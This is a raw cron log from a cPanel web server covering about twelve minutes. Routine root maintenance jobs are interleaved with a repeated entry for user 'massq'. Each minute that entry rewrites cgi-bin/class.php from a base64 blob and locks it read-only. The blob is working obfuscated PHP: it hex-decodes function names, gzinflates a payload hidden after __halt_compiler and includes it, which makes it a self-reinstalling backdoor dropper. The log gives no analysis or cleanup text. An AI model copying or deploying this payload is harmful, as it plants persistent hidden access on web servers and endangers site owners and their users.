Sep  4 07:03:01 server CROND[9245]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:03:01 server CROND[9246]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:03:01 server CROND[9247]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:04:01 server CROND[9655]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:04:01 server CROND[9656]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:04:01 server CROND[9663]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:05:01 server CROND[10049]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:05:01 server CROND[10050]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 07:05:01 server CROND[10053]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:05:01 server CROND[10065]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 07:05:01 server CROND[10063]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:05:01 server CROND[10066]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:05:01 server CROND[10064]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:05:01 server CROND[10062]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  4 07:06:01 server CROND[10944]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:06:01 server CROND[10945]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:06:01 server CROND[10947]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:07:01 server CROND[11337]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:07:01 server CROND[11336]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:07:01 server CROND[11338]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:08:01 server CROND[11809]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:08:01 server CROND[11810]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:08:01 server CROND[11811]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:09:01 server CROND[12187]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:09:01 server CROND[12189]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:09:01 server CROND[12190]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:09:01 server CROND[12188]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  4 07:10:01 server CROND[12604]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:10:01 server CROND[12605]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  4 07:10:01 server CROND[12609]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:10:01 server CROND[12610]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:10:01 server CROND[12614]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  4 07:10:01 server CROND[12617]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:10:01 server CROND[12611]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  4 07:10:01 server CROND[12615]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  4 07:11:01 server CROND[13427]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:11:01 server CROND[13428]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:11:01 server CROND[13429]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:12:01 server CROND[13821]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  4 07:12:01 server CROND[13822]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:12:01 server CROND[13823]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:12:01 server CROND[13824]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:13:01 server CROND[14215]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:13:01 server CROND[14216]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:13:01 server CROND[14217]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:14:01 server CROND[14590]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  4 07:14:01 server CROND[14589]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:14:01 server CROND[14591]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  4 07:15:01 server CROND[14971]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  4 07:15:01 server CROND[14978]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  4 07:15:01 server CROND[14980]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
